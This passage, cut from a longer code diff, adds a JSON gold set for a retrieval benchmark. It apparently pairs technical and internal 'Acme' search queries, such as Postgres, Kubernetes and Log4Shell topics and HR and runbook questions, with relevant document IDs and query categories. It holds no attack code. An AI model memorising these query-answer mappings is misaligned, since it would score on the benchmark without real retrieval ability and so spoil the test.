"code" + }, + { + "query": "tokio::spawn", + "relevant": [ + "rust-async" + ], + "category": "code" + }, + { + "query": "context.WithTimeout", + "relevant": [ + "go-context" + ], + "category": "code" + }, + { + "query": "errors.Is errors.As", + "relevant": [ + "go-error-handling" + ], + "category": "code" + }, + { + "query": "Result Option ? operator", + "relevant": [ + "rust-error-handling" + ], + "category": "code" + }, + { + "query": "WITH RECURSIVE", + "relevant": [ + "code-sql-cte" + ], + "category": "code" + }, + { + "query": "CREATE EXTENSION vector", + "relevant": [ + "pg-pgvector" + ], + "category": "code" + }, + { + "query": "find -print0 xargs -0", + "relevant": [ + "code-bash-pipeline" + ], + "category": "code" + }, + { + "query": "FROM node:20-alpine AS build", + "relevant": [ + "code-dockerfile", + "docker-multistage" + ], + "category": "code" + }, + { + "query": "kubectl apply -f", + "relevant": [ + "k8s-deployments" + ], + "category": "code" + }, + { + "query": "EXPLAIN ANALYZE BUFFERS", + "relevant": [ + "pg-explain" + ], + "category": "code" + }, + { + "query": "VACUUM FULL", + "relevant": [ + "pg-vacuum" + ], + "category": "code" + }, + { + "query": "XADD XREAD XACK", + "relevant": [ + "redis-pubsub" + ], + "category": "code" + }, + { + "query": "SETBIT GETBIT BITCOUNT", + "relevant": [ + "redis-bitmaps" + ], + "category": "code" + }, + { + "query": "SCRIPT LOAD EVALSHA", + "relevant": [ + "redis-lua" + ], + "category": "code" + }, + { + "query": "ALTER DEFAULT PRIVILEGES", + "relevant": [ + "pg-roles" + ], + "category": "code" + }, + { + "query": "patronictl failover", + "relevant": [ + "runbook-database-failover" + ], + "category": "code" + }, + { + "query": "kubectl auth can-i --list", + "relevant": [ + "k8s-rbac" + ], + "category": "code" + }, + { + "query": "actions/cache", + "relevant": [ + "github-actions" + ], + "category": "code" + }, + { + "query": "openssl s_client -connect", + "relevant": [ + "x509-verify" + ], + "category": "code" + }, + { + "query": "dmesg | grep oom-killer", + "relevant": [ + "err-oom" + ], + "category": "code" + }, + { + "query": "lsof -iTCP -sTCP:LISTEN", + "relevant": [ + "err-conn-refused", + "err-eaddrinuse" + ], + "category": "code" + }, + { + "query": "ss -lntp", + "relevant": [ + "err-eaddrinuse" + ], + "category": "code" + }, + { + "query": "SO_REUSEPORT", + "relevant": [ + "err-eaddrinuse" + ], + "category": "code" + }, + { + "query": "go mod tidy", + "relevant": [ + "go-modules" + ], + "category": "code" + }, + { + "query": "cargo build --release", + "relevant": [ + "rust-cargo" + ], + "category": "code" + }, + { + "query": "uniqueBy generic function", + "relevant": [ + "code-typescript-generic", + "ts-generics" + ], + "category": "code" + }, + { + "query": "impl Shape for Circle", + "relevant": [ + "code-rust-trait", + "rust-traits" + ], + "category": "code" + }, + { + "query": "scope :active lambda", + "relevant": [ + "rails-active-record" + ], + "category": "code" + }, + { + "query": "@SpringBootApplication", + "relevant": [ + "spring-boot" + ], + "category": "code" + }, + { + "query": "fastify-plugin scope", + "relevant": [ + "fastify-plugins" + ], + "category": "code" + }, + { + "query": "pip install uv", + "relevant": [ + "python-virtualenv", + "python-packaging" + ], + "category": "code" + }, + { + "query": "pyproject.toml hatchling", + "relevant": [ + "python-packaging" + ], + "category": "code" + }, + { + "query": "df.loc df.iloc groupby", + "relevant": [ + "python-pandas" + ], + "category": "code" + }, + { + "query": "TypeVar Generic Protocol", + "relevant": [ + "python-typing" + ], + "category": "code" + }, + { + "query": "fmt.Errorf %w", + "relevant": [ + "go-error-handling" + ], + "category": "code" + }, + { + "query": "ERR_CONNECTION_REFUSED 4101", + "relevant": [ + "err-conn-refused" + ], + "category": "error_code" + }, + { + "query": "OOM killer SIGKILL", + "relevant": [ + "err-oom" + ], + "category": "error_code" + }, + { + "query": "CVE-2024-3094", + "relevant": [ + "err-cve-xz" + ], + "category": "error_code" + }, + { + "query": "RFC 7519", + "relevant": [ + "rfc-7519-jwt" + ], + "category": "error_code" + }, + { + "query": "x509: certificate verify failed", + "relevant": [ + "x509-verify" + ], + "category": "error_code" + }, + { + "query": "SQLSTATE 40P01", + "relevant": [ + "err-deadlock" + ], + "category": "error_code" + }, + { + "query": "EADDRINUSE", + "relevant": [ + "err-eaddrinuse" + ], + "category": "error_code" + }, + { + "query": "SIGSEGV segmentation fault", + "relevant": [ + "err-segfault" + ], + "category": "error_code" + }, + { + "query": "CVE-2021-44228 Log4Shell", + "relevant": [ + "cve-log4shell" + ], + "category": "error_code" + }, + { + "query": "RFC 8446", + "relevant": [ + "tls-handshake" + ], + "category": "error_code" + }, + { + "query": "RFC 9110 HTTP semantics", + "relevant": [ + "rfc-9110" + ], + "category": "error_code" + }, + { + "query": "RFC 6238 TOTP", + "relevant": [ + "mfa-totp" + ], + "category": "error_code" + }, + { + "query": "RFC 9112", + "relevant": [ + "rfc-9110" + ], + "category": "error_code" + }, + { + "query": "PEP 484 type hints", + "relevant": [ + "python-typing" + ], + "category": "error_code" + }, + { + "query": "PEP 703 no-GIL", + "relevant": [ + "python-gil" + ], + "category": "error_code" + }, + { + "query": "PEP 517 build backend", + "relevant": [ + "python-packaging" + ], + "category": "error_code" + }, + { + "query": "TLS 1.3 RFC 8446", + "relevant": [ + "tls-handshake", + "arabic-tls" + ], + "category": "error_code" + }, + { + "query": "404 vs 410 Gone", + "relevant": [ + "rfc-9110" + ], + "category": "error_code" + }, + { + "query": "503 Service Unavailable", + "relevant": [ + "rfc-9110" + ], + "category": "error_code" + }, + { + "query": "Sev1 Sev0 incident", + "relevant": [ + "on-call-escalation" + ], + "category": "error_code" + }, + { + "query": "\"liveness probes\"", + "relevant": [ + "k8s-probes", + "german-kubernetes" + ], + "category": "quoted" + }, + { + "query": "\"borrow checker\"", + "relevant": [ + "rust-ownership", + "italian-rust" + ], + "category": "quoted" + }, + { + "query": "\"connection refused\"", + "relevant": [ + "err-conn-refused" + ], + "category": "quoted" + }, + { + "query": "\"audit log\"", + "relevant": [ + "compliance-pii", + "access-review" + ], + "category": "quoted" + }, + { + "query": "\"OOM killer\"", + "relevant": [ + "err-oom", + "k8s-resources" + ], + "category": "quoted" + }, + { + "query": "\"server-side rendering\"", + "relevant": [ + "react-server-components" + ], + "category": "quoted" + }, + { + "query": "\"pool of connections\"", + "relevant": [ + "pg-pooling" + ], + "category": "quoted" + }, + { + "query": "\"deadlock detected\"", + "relevant": [ + "err-deadlock" + ], + "category": "quoted" + }, + { + "query": "\"cold start\"", + "relevant": [ + "aws-lambda" + ], + "category": "quoted" + }, + { + "query": "\"Largest Contentful Paint\"", + "relevant": [ + "web-perf-cwv" + ], + "category": "quoted" + }, + { + "query": "\"reciprocal rank fusion\"", + "relevant": [ + "algo-rrf" + ], + "category": "quoted" + }, + { + "query": "\"chain of thought\"", + "relevant": [ + "ml-prompt-engineering" + ], + "category": "quoted" + }, + { + "query": "\"data subject access request\"", + "relevant": [ + "compliance-gdpr" + ], + "category": "quoted" + }, + { + "query": "\"break glass account\"", + "relevant": [ + "access-review" + ], + "category": "quoted" + }, + { + "query": "\"global interpreter lock\"", + "relevant": [ + "python-gil" + ], + "category": "quoted" + }, + { + "query": "\"event loop\"", + "relevant": [ + "python-asyncio", + "node-streams" + ], + "category": "quoted" + }, + { + "query": "\"trait object\"", + "relevant": [ + "rust-traits" + ], + "category": "quoted" + }, + { + "query": "\"head-of-line blocking\"", + "relevant": [ + "http2", + "quic-http3" + ], + "category": "quoted" + }, + { + "query": "\"presigned URL\"", + "relevant": [ + "aws-s3", + "portuguese-aws" + ], + "category": "quoted" + }, + { + "query": "\"multi-AZ\"", + "relevant": [ + "aws-rds" + ], + "category": "quoted" + }, + { + "query": "redis", + "relevant": [ + "redis-cache", + "redis-pubsub", + "redis-cluster", + "french-redis" + ], + "category": "short_kw" + }, + { + "query": "pgbouncer", + "relevant": [ + "pg-pooling", + "spanish-postgres", + "russian-postgres" + ], + "category": "short_kw" + }, + { + "query": "kubernetes", + "relevant": [ + "k8s-probes", + "k8s-resources", + "k8s-deployments", + "k8s-services", + "k8s-rbac", + "german-kubernetes" + ], + "category": "short_kw" + }, + { + "query": "tls", + "relevant": [ + "tls-handshake", + "x509-verify", + "arabic-tls" + ], + "category": "short_kw" + }, + { + "query": "GIL", + "relevant": [ + "python-gil" + ], + "category": "short_kw" + }, + { + "query": "FSDP", + "relevant": [ + "ml-fsdp" + ], + "category": "short_kw" + }, + { + "query": "bgp", + "relevant": [ + "bgp-routing" + ], + "category": "short_kw" + }, + { + "query": "quic", + "relevant": [ + "quic-http3" + ], + "category": "short_kw" + }, + { + "query": "websockets", + "relevant": [ + "websockets" + ], + "category": "short_kw" + }, + { + "query": "mtls", + "relevant": [ + "mtls" + ], + "category": "short_kw" + }, + { + "query": "kafka", + "relevant": [ + "kafka-partitions" + ], + "category": "short_kw" + }, + { + "query": "lambda", + "relevant": [ + "aws-lambda" + ], + "category": "short_kw" + }, + { + "query": "iam", + "relevant": [ + "aws-iam", + "gcp-iam", + "azure-rbac" + ], + "category": "short_kw" + }, + { + "query": "vpc", + "relevant": [ + "aws-vpc" + ], + "category": "short_kw" + }, + { + "query": "rbac", + "relevant": [ + "k8s-rbac", + "azure-rbac" + ], + "category": "short_kw" + }, + { + "query": "helm", + "relevant": [ + "k8s-helm" + ], + "category": "short_kw" + }, + { + "query": "jwt", + "relevant": [ + "rfc-7519-jwt", + "auth-jwt-vs-session" + ], + "category": "short_kw" + }, + { + "query": "totp", + "relevant": [ + "mfa-totp" + ], + "category": "short_kw" + }, + { + "query": "rrf", + "relevant": [ + "algo-rrf" + ], + "category": "short_kw" + }, + { + "query": "lora", + "relevant": [ + "ml-fine-tuning" + ], + "category": "short_kw" + }, + { + "query": "rag", + "relevant": [ + "ml-rag" + ], + "category": "short_kw" + }, + { + "query": "rlhf", + "relevant": [ + "ml-rlhf" + ], + "category": "short_kw" + }, + { + "query": "mongodb", + "relevant": [ + "mongodb-aggregation" + ], + "category": "short_kw" + }, + { + "query": "elasticsearch", + "relevant": [ + "elasticsearch-mappings" + ], + "category": "short_kw" + }, + { + "query": "clickhouse", + "relevant": [ + "clickhouse-mergetree" + ], + "category": "short_kw" + }, + { + "query": "dynamodb", + "relevant": [ + "dynamodb-keys" + ], + "category": "short_kw" + }, + { + "query": "cassandra", + "relevant": [ + "cassandra-consistency" + ], + "category": "short_kw" + }, + { + "query": "sqlite", + "relevant": [ + "sqlite-wal" + ], + "category": "short_kw" + }, + { + "query": "argocd", + "relevant": [ + "gitops-argocd" + ], + "category": "short_kw" + }, + { + "query": "terraform", + "relevant": [ + "terraform-state", + "terraform-modules" + ], + "category": "short_kw" + }, + { + "query": "ansible", + "relevant": [ + "ansible-playbook" + ], + "category": "short_kw" + }, + { + "query": "fastify", + "relevant": [ + "fastify-plugins" + ], + "category": "short_kw" + }, + { + "query": "PgBouncer config production OLTP", + "relevant": [ + "pg-pooling" + ], + "category": "named_entity" + }, + { + "query": "Redis Streams XADD consumer groups", + "relevant": [ + "redis-pubsub" + ], + "category": "named_entity" + }, + { + "query": "Kubernetes Deployment rolling update strategy", + "relevant": [ + "k8s-deployments" + ], + "category": "named_entity" + }, + { + "query": "TLS handshake ClientHello cipher suites", + "relevant": [ + "tls-handshake" + ], + "category": "named_entity" + }, + { + "query": "FSDP sharded data parallel training", + "relevant": [ + "ml-fsdp" + ], + "category": "named_entity" + }, + { + "query": "Postgres pgvector index ivfflat", + "relevant": [ + "pg-pgvector" + ], + "category": "named_entity" + }, + { + "query": "AWS S3 lifecycle Glacier", + "relevant": [ + "aws-s3" + ], + "category": "named_entity" + }, + { + "query": "Acme PaymentsOnCall escalation", + "relevant": [ + "runbook-payment-outage", + "on-call-escalation" + ], + "category": "named_entity" + }, + { + "query": "ArgoCD ApplicationSet generators", + "relevant": [ + "gitops-argocd" + ], + "category": "named_entity" + }, + { + "query": "Cilium NetworkPolicy L7", + "relevant": [ + "k8s-networkpolicy" + ], + "category": "named_entity" + }, + { + "query": "HashiCorp Vault dynamic secrets", + "relevant": [ + "secrets-management" + ], + "category": "named_entity" + }, + { + "query": "Sigstore cosign signing", + "relevant": [ + "supply-chain" + ], + "category": "named_entity" + }, + { + "query": "Tailscale MFA VPN", + "relevant": [ + "vpn-access" + ], + "category": "named_entity" + }, + { + "query": "PagerDuty Sev1 ack", + "relevant": [ + "on-call-escalation" + ], + "category": "named_entity" + }, + { + "query": "Greenhouse hiring rubric", + "relevant": [ + "engineering-hiring-rubric" + ], + "category": "named_entity" + }, + { + "query": "BambooHR vacation request", + "relevant": [ + "vacation-policy" + ], + "category": "named_entity" + }, + { + "query": "Expensify per diem", + "relevant": [ + "expense-report" + ], + "category": "named_entity" + }, + { + "query": "Tendermint HotStuff BFT", + "relevant": [ + "blockchain-consensus" + ], + "category": "named_entity" + }, + { + "query": "Curve25519 secp256k1 ECDSA", + "relevant": [ + "crypto-ec" + ], + "category": "named_entity" + }, + { + "query": "Apache Log4j JNDI lookup", + "relevant": [ + "cve-log4shell" + ], + "category": "named_entity" + }, + { + "query": "GPTQ AWQ INT4 quantization", + "relevant": [ + "ml-quantization" + ], + "category": "named_entity" + }, + { + "query": "Tendermint validator set", + "relevant": [ + "blockchain-consensus" + ], + "category": "named_entity" + }, + { + "query": "Patroni leader DCS", + "relevant": [ + "runbook-database-failover" + ], + "category": "named_entity" + }, + { + "query": "Snyk findings CI", + "relevant": [ + "production-deploy-checklist" + ], + "category": "named_entity" + }, + { + "query": "Okta GitHub PagerDuty onboarding", + "relevant": [ + "new-hire-onboarding" + ], + "category": "named_entity" + }, + { + "query": "LaunchDarkly feature flag", + "relevant": [ + "runbook-payment-outage" + ], + "category": "named_entity" + }, + { + "query": "OWASP Top 10 SSRF", + "relevant": [ + "owasp-top-10" + ], + "category": "named_entity" + }, + { + "query": "DPO PPO reward model", + "relevant": [ + "ml-rlhf" + ], + "category": "named_entity" + }, + { + "query": "Tokio runtime executor", + "relevant": [ + "rust-async" + ], + "category": "named_entity" + }, + { + "query": "vacuum without locking writes", + "relevant": [ + "pg-vacuum" + ], + "category": "negation" + }, + { + "query": "pod not restarting", + "relevant": [ + "k8s-probes" + ], + "category": "negation" + }, + { + "query": "redis pubsub vs streams", + "relevant": [ + "redis-pubsub" + ], + "category": "negation" + }, + { + "query": "tls vs ssl differences", + "relevant": [ + "tls-handshake" + ], + "category": "negation" + }, + { + "query": "JWT vs session cookies", + "relevant": [ + "auth-jwt-vs-session" + ], + "category": "negation" + }, + { + "query": "deploy without downtime", + "relevant": [ + "k8s-deployments", + "production-deploy-checklist" + ], + "category": "negation" + }, + { + "query": "session pooling vs transaction pooling", + "relevant": [ + "pg-pooling" + ], + "category": "negation" + }, + { + "query": "logical replication vs streaming replication", + "relevant": [ + "pg-replication" + ], + "category": "negation" + }, + { + "query": "PoW vs PoS consensus", + "relevant": [ + "blockchain-consensus" + ], + "category": "negation" + }, + { + "query": "Helm vs Kustomize", + "relevant": [ + "k8s-helm" + ], + "category": "negation" + }, + { + "query": "GiST vs GIN vs BRIN", + "relevant": [ + "pg-indexes" + ], + "category": "negation" + }, + { + "query": "Type I vs Type II SOC 2", + "relevant": [ + "compliance-soc2" + ], + "category": "negation" + }, + { + "query": "ClusterIP vs NodePort vs LoadBalancer", + "relevant": [ + "k8s-services" + ], + "category": "negation" + }, + { + "query": "blocking vs non-blocking IO without polling", + "relevant": [ + "python-asyncio", + "node-streams" + ], + "category": "negation" + }, + { + "query": "no global package installs", + "relevant": [ + "python-virtualenv" + ], + "category": "negation" + }, + { + "query": "rerank not slow", + "relevant": [ + "ml-evaluation" + ], + "category": "negation" + }, + { + "query": "never trust unverified JWT", + "relevant": [ + "rfc-7519-jwt" + ], + "category": "negation" + }, + { + "query": "without leaving production data exposed", + "relevant": [ + "compliance-pii", + "secrets-management" + ], + "category": "negation" + }, + { + "query": "rollback that won't lose data", + "relevant": [ + "runbook-deploy-rollback" + ], + "category": "negation" + }, + { + "query": "auth flow except implicit", + "relevant": [ + "auth-oauth2" + ], + "category": "negation" + }, + { + "query": "重複行 削除 PostgreSQL", + "relevant": [ + "japanese-dedup" + ], + "category": "non_english" + }, + { + "query": "cómo configurar pool de conexiones en postgres", + "relevant": [ + "spanish-postgres", + "pg-pooling" + ], + "category": "non_english" + }, + { + "query": "Redis cache stratégies en production", + "relevant": [ + "french-redis", + "redis-cache" + ], + "category": "non_english" + }, + { + "query": "Kubernetes Liveness Probe konfigurieren", + "relevant": [ + "german-kubernetes", + "k8s-probes" + ], + "category": "non_english" + }, + { + "query": "MongoDB 索引 复合索引 ESR", + "relevant": [ + "chinese-mongodb", + "mongodb-aggregation" + ], + "category": "non_english" + }, + { + "query": "React Hook 사용 useState useEffect", + "relevant": [ + "korean-react", + "code-snippet", + "react-effects" + ], + "category": "non_english" + }, + { + "query": "AWS S3 versionamento ciclo de vida", + "relevant": [ + "portuguese-aws", + "aws-s3" + ], + "category": "non_english" + }, + { + "query": "PostgreSQL производительность shared_buffers work_mem", + "relevant": [ + "russian-postgres" + ], + "category": "non_english" + }, + { + "query": "TLS 1.3 المصافحة شهادة", + "relevant": [ + "arabic-tls", + "tls-handshake" + ], + "category": "non_english" + }, + { + "query": "Python त्रुटि अपवाद हैंडलिंग", + "relevant": [ + "hindi-python" + ], + "category": "non_english" + }, + { + "query": "Rust ownership memoria garbage collector", + "relevant": [ + "italian-rust", + "rust-ownership" + ], + "category": "non_english" + }, + { + "query": "Go goroutine channel select", + "relevant": [ + "vietnamese-go", + "go-goroutines" + ], + "category": "non_english" + }, + { + "query": "PgBouncer 연결 풀 PostgreSQL", + "relevant": [ + "pg-pooling" + ], + "category": "non_english" + }, + { + "query": "Kafka 分区 顺序 消费者", + "relevant": [ + "kafka-partitions" + ], + "category": "non_english" + }, + { + "query": "Kubernetes Liveness Probe Container Neustart", + "relevant": [ + "german-kubernetes", + "k8s-probes" + ], + "category": "non_english" + }, + { + "query": "best vector database for production", + "relevant": [ + "pg-pgvector" + ], + "category": "ambiguous" + }, + { + "query": "production postgres tuning checklist", + "relevant": [ + "pg-pooling", + "pg-vacuum", + "pg-explain", + "russian-postgres" + ], + "category": "ambiguous" + }, + { + "query": "kubernetes pod failure modes", + "relevant": [ + "k8s-probes", + "k8s-resources" + ], + "category": "ambiguous" + }, + { + "query": "vacuum bloat troubleshooting", + "relevant": [ + "pg-vacuum" + ], + "category": "ambiguous" + }, + { + "query": "scaling pubsub workloads", + "relevant": [ + "redis-pubsub", + "kafka-partitions", + "gcp-pubsub" + ], + "category": "ambiguous" + }, + { + "query": "rerank pipeline retrieval", + "relevant": [ + "ml-rag", + "algo-rrf" + ], + "category": "ambiguous" + }, + { + "query": "managing infrastructure as code", + "relevant": [ + "terraform-modules", + "terraform-state", + "ansible-playbook" + ], + "category": "ambiguous" + }, + { + "query": "feature flag rollout strategies", + "relevant": [ + "runbook-payment-outage" + ], + "category": "ambiguous" + }, + { + "query": "incident response retrospective", + "relevant": [ + "incident-postmortem-template", + "security-incident-response" + ], + "category": "ambiguous" + }, + { + "query": "frontend performance baseline", + "relevant": [ + "web-perf-cwv" + ], + "category": "ambiguous" + }, + { + "query": "css layout patterns modern", + "relevant": [ + "css-flex-grid" + ], + "category": "ambiguous" + }, + { + "query": "internationalization rollout plan", + "relevant": [ + "frontend-i18n" + ], + "category": "ambiguous" + }, + { + "query": "secrets in CI/CD", + "relevant": [ + "github-actions", + "secrets-management" + ], + "category": "ambiguous" + }, + { + "query": "blue green deployment", + "relevant": [ + "k8s-deployments" + ], + "category": "ambiguous" + }, + { + "query": "logging best practices microservices", + "relevant": [ + "log-best-practices", + "structured-logging" + ], + "category": "ambiguous" + }, + { + "query": "horizontal scaling stateless services", + "relevant": [ + "k8s-hpa", + "k8s-services" + ], + "category": "ambiguous" + }, + { + "query": "client side caching strategies", + "relevant": [ + "redis-cache" + ], + "category": "ambiguous" + }, + { + "query": "cost optimization S3 storage classes", + "relevant": [ + "aws-s3" + ], + "category": "ambiguous" + }, + { + "query": "managed message queue choice", + "relevant": [ + "aws-sqs-fifo", + "rabbitmq-exchanges", + "nats-jetstream", + "gcp-pubsub" + ], + "category": "ambiguous" + }, + { + "query": "embeddings model selection", + "relevant": [ + "ml-rag", + "ml-quantization" + ], + "category": "ambiguous" + }, + { + "query": "auth strategy multi tenant", + "relevant": [ + "auth-oauth2", + "auth-jwt-vs-session" + ], + "category": "ambiguous" + }, + { + "query": "sharding horizontal partitioning", + "relevant": [ + "pg-partitioning", + "redis-cluster", + "dynamodb-keys" + ], + "category": "ambiguous" + }, + { + "query": "observability spans metrics logs", + "relevant": [ + "otel-traces", + "prometheus-pull", + "log-best-practices" + ], + "category": "ambiguous" + }, + { + "query": "compliance audit prep", + "relevant": [ + "compliance-soc2", + "compliance-pii", + "access-review" + ], + "category": "ambiguous" + }, + { + "query": "what runbook covers payment outages at Acme", + "relevant": [ + "runbook-payment-outage" + ], + "category": "internal" + }, + { + "query": "what is Acme's on-call escalation policy", + "relevant": [ + "on-call-escalation" + ], + "category": "internal" + }, + { + "query": "where do I find the deploy rollback runbook", + "relevant": [ + "runbook-deploy-rollback" + ], + "category": "internal" + }, + { + "query": "what is the Acme database failover procedure", + "relevant": [ + "runbook-database-failover" + ], + "category": "internal" + }, + { + "query": "Acme on-call handoff procedure", + "relevant": [ + "on-call-handoff" + ], + "category": "internal" + }, + { + "query": "incident postmortem template at Acme", + "relevant": [ + "incident-postmortem-template" + ], + "category": "internal" + }, + { + "query": "ADR template at Acme", + "relevant": [ + "adr-template" + ], + "category": "internal" + }, + { + "query": "Acme design doc template", + "relevant": [ + "design-doc-template" + ], + "category": "internal" + }, + { + "query": "code review guidelines at Acme", + "relevant": [ + "code-review-guidelines" + ], + "category": "internal" + }, + { + "query": "what is Acme's vacation policy", + "relevant": [ + "vacation-policy" + ], + "category": "internal" + }, + { + "query": "how do I submit an expense report at Acme", + "relevant": [ + "expense-report" + ], + "category": "internal" + }, + { + "query": "Acme secret rotation quarterly", + "relevant": [ + "secret-rotation" + ], + "category": "internal" + }, + { + "query": "quarterly access review process", + "relevant": [ + "access-review" + ], + "category": "internal" + }, + { + "query": "Acme VPN access policy Tailscale", + "relevant": [ + "vpn-access" + ], + "category": "internal" + }, + { + "query": "production deploy checklist Acme", + "relevant": [ + "production-deploy-checklist" + ], + "category": "internal" + }, + { + "query": "new hire onboarding day 1 Acme", + "relevant": [ + "new-hire-onboarding" + ], + "category": "internal" + }, + { + "query": "Acme engineering hiring rubric scores", + "relevant": [ + "engineering-hiring-rubric" + ], + "category": "internal" + }, + { + "query": "Acme Slack channel naming conventions", + "relevant": [ + "slack-channels" + ], + "category": "internal" + }, + { + "query": "Acme security incident response", + "relevant": [ + "security-incident-response" + ], + "category": "internal" + }, + { + "query": "two approvals required for billing changes", + "relevant": [ + "code-review-guidelines" + ], + "category": "internal" + }, + { + "query": "PaymentsOnCall escalation Sev1", + "relevant": [ + "runbook-payment-outage", + "on-call-escalation" + ], + "category": "internal" + }, + { + "query": "Acme buddy assignment day 1", + "relevant": [ + "new-hire-onboarding" + ], + "category": "internal" + }, + { + "query": "Acme staging soak before promotion", + "relevant": [ + "production-deploy-checklist" + ], + "category": "internal" + }, + { + "query": "what is the Acme break glass policy", + "relevant": [ + "access-review" + ], + "category": "internal" + }, + { + "query": "how often does Acme rotate credentials", + "relevant": [ + "secret-rotation" + ], + "category": "internal" + }, + { + "query": "who reviews access at Acme each quarter", + "relevant": [ + "access-review" + ], + "category": "internal" + }, + { + "query": "blameless postmortem culture", + "relevant": [ + "incident-postmortem-template" + ], + "category": "internal" + }, + { + "query": "Acme RFC ADR distinction", + "relevant": [ + "adr-template" + ], + "category": "internal" + }, + { + "query": "ApplicationSets generators Acme", + "relevant": [ + "gitops-argocd" + ], + "category": "internal" + }, + { + "query": "30 60 90 check-ins Acme", + "relevant": [ + "new-hire-onboarding" + ], + "category": "internal" + }, + { + "query": "incident-private channel Acme", + "relevant": [ + "security-incident-response" + ], + "category": "internal" + }, + { + "query": "Acme reimbursement timeline", + "relevant": [ + "expense-report" + ], + "category": "internal" + }, + { + "query": "Acme deploy rolling restart Vault", + "relevant": [ + "secret-rotation" + ], + "category": "internal" + }, + { + "query": "engineering hiring committee weekly review", + "relevant": [ + "engineering-hiring-rubric" + ], + "category": "internal" + }, + { + "query": "Acme channel archive policy", + "relevant": [ + "slack-channels" + ], + "category": "internal" + }, + { + "query": "Apache Kafka exactly-once semantics", + "relevant": [ + "kafka-partitions" + ], + "category": "named_entity" + }, + { + "query": "OpenAI embeddings text-embedding-3-small", + "relevant": [ + "pg-pgvector" + ], + "category": "named_entity" + }, + { + "query": "Datadog APM trace propagation", + "relevant": [ + "otel-traces" + ], + "category": "named_entity" + }, + { + "query": "GitHub Dependabot version updates", + "relevant": [ + "github-actions" + ], + "category": "named_entity" + }, + { + "query": "preventing token replay", + "relevant": [ + "auth-oauth2" + ], + "category": "procedural" + }, + { + "query": "design a dead letter queue", + "relevant": [ + "gcp-pubsub" + ], + "category": "procedural" + }, + { + "query": "diagnose head-of-line blocking on http2", + "relevant": [ + "http2", + "quic-http3" + ], + "category": "procedural" + }, + { + "query": "mitigate xz-utils backdoor", + "relevant": [ + "err-cve-xz" + ], + "category": "procedural" + }, + { + "query": "prevent N+1 queries in Rails", + "relevant": [ + "rails-active-record" + ], + "category": "procedural" + }, + { + "query": "investigate a deadlock in Postgres", + "relevant": [ + "err-deadlock", + "pg-locks" + ], + "category": "procedural" + }, + { + "query": "set up RPKI for prefix validation", + "relevant": [ + "bgp-routing" + ], + "category": "procedural" + }, + { + "query": "scale pubsub when consumers fall behind", + "relevant": [ + "redis-pubsub", + "kafka-partitions" + ], + "category": "procedural" + }, + { + "query": "configure PgBouncer transaction pool", + "relevant": [ + "pg-pooling" + ], + "category": "procedural" + }, + { + "query": "rotate quarterly credentials with Vault", + "relevant": [ + "secret-rotation", + "secrets-management" + ], + "category": "procedural" + }, + { + "query": "implement a TURN fallback for WebRTC", + "relevant": [ + "nat-traversal" + ], + "category": "procedural" + }, + { + "query": "set up Patroni with DNS update on failover", + "relevant": [ + "runbook-database-failover" + ], + "category": "procedural" + }, + { + "query": "harden a Lambda execution role", + "relevant": [ + "aws-lambda", + "aws-iam" + ], + "category": "procedural" + }, + { + "query": "implement a TURN STUN ICE pipeline", + "relevant": [ + "nat-traversal" + ], + "category": "procedural" + }, + { + "query": "set up FSDP training in PyTorch", + "relevant": [ + "ml-fsdp" + ], + "category": "procedural" + }, + { + "query": "build a multi-stage Dockerfile for a Node app", + "relevant": [ + "docker-multistage", + "code-dockerfile" + ], + "category": "procedural" + }, + { + "query": "set up Helm release with values per environment", + "relevant": [ + "k8s-helm" + ], + "category": "procedural" + }, + { + "query": "configure prometheus to scrape Kubernetes pods", + "relevant": [ + "prometheus-pull" + ], + "category": "procedural" + }, + { + "query": "design a Grafana dashboard for SLOs", + "relevant": [ + "grafana-dashboards" + ], + "category": "procedural" + }, + { + "query": "set up Tailscale for remote workers", + "relevant": [ + "vpn-access" + ], + "category": "procedural" + }, + { + "query": "register a Workload Identity Federation pool", + "relevant": [ + "gcp-iam" + ], + "category": "procedural" + }, + { + "query": "scope reduction for PCI", + "relevant": [ + "compliance-pci" + ], + "category": "procedural" + }, + { + "query": "respond to a DSAR within one month", + "relevant": [ + "compliance-gdpr" + ], + "category": "procedural" + }, + { + "query": "sign a BAA before sharing PHI", + "relevant": [ + "compliance-hipaa" + ], + "category": "procedural" + }, + { + "query": "build an SBOM with Syft", + "relevant": [ + "supply-chain" + ], + "category": "procedural" + }, + { + "query": "publish artifacts signed with cosign", + "relevant": [ + "supply-chain" + ], + "category": "procedural" + }, + { + "query": "configure SIP NAT keep-alive", + "relevant": [ + "nat-traversal" + ], + "category": "procedural" + }, + { + "query": "design a sharded Redis cluster", + "relevant": [ + "redis-cluster" + ], + "category": "procedural" + }, + { + "query": "diagnose lock contention in Postgres", + "relevant": [ + "pg-locks", + "err-deadlock" + ], + "category": "procedural" + }, + { + "query": "scale a write-heavy ClickHouse table", + "relevant": [ + "clickhouse-mergetree" + ], + "category": "procedural" + }, + { + "query": "who created the Tendermint consensus protocol?", + "relevant": [ + "blockchain-consensus" + ], + "category": "factoid" + }, + { + "query": "when does Postgres detect a deadlock?", + "relevant": [ + "err-deadlock" + ], + "category": "factoid" + }, + { + "query": "where is the WAL archived in Postgres?", + "relevant": [ + "pg-wal" + ], + "category": "factoid" + }, + { + "query": "which Helm flag rolls back automatically on failure?", + "relevant": [ + "k8s-helm" + ], + "category": "factoid" + }, + { + "query": "what is the WAL?", + "relevant": [ + "pg-wal" + ], + "category": "factoid" + }, + { + "query": "who introduced the Transformer paper?", + "relevant": [ + "ml-transformer" + ], + "category": "factoid" + }, + { + "query": "when does a JWT expire?", + "relevant": [ + "rfc-7519-jwt" + ], + "category": "factoid" + }, + { + "query": "where is the on-call schedule managed?", + "relevant": [ + "on-call-escalation", + "on-call-handoff" + ], + "category": "factoid" + }, + { + "query": "which protocol replaces JNDI in Log4j fixes?", + "relevant": [ + "cve-log4shell" + ], + "category": "factoid" + }, + { + "query": "what number is RFC 6238?", + "relevant": [ + "mfa-totp" + ], + "category": "factoid" + }, + { + "query": "who funds maintenance for xz utils after CVE-2024-3094?", + "relevant": [ + "err-cve-xz" + ], + "category": "factoid" + }, + { + "query": "when does Acme run quarterly access reviews?", + "relevant": [ + "access-review" + ], + "category": "factoid" + }, + { + "query": "where is Acme's onboarding buddy assigned?", + "relevant": [ + "new-hire-onboarding" + ], + "category": "factoid" + }, + { + "query": "which AWS service supports cold start metrics?", + "relevant": [ + "aws-lambda" + ], + "category": "factoid" + }, + { + "query": "what does Acme's vacation policy minimum require?", + "relevant": [ + "vacation-policy" + ], + "category": "factoid" + }, + { + "query": "how does HPACK compress HTTP/2 headers", + "relevant": [ + "http2" + ], + "category": 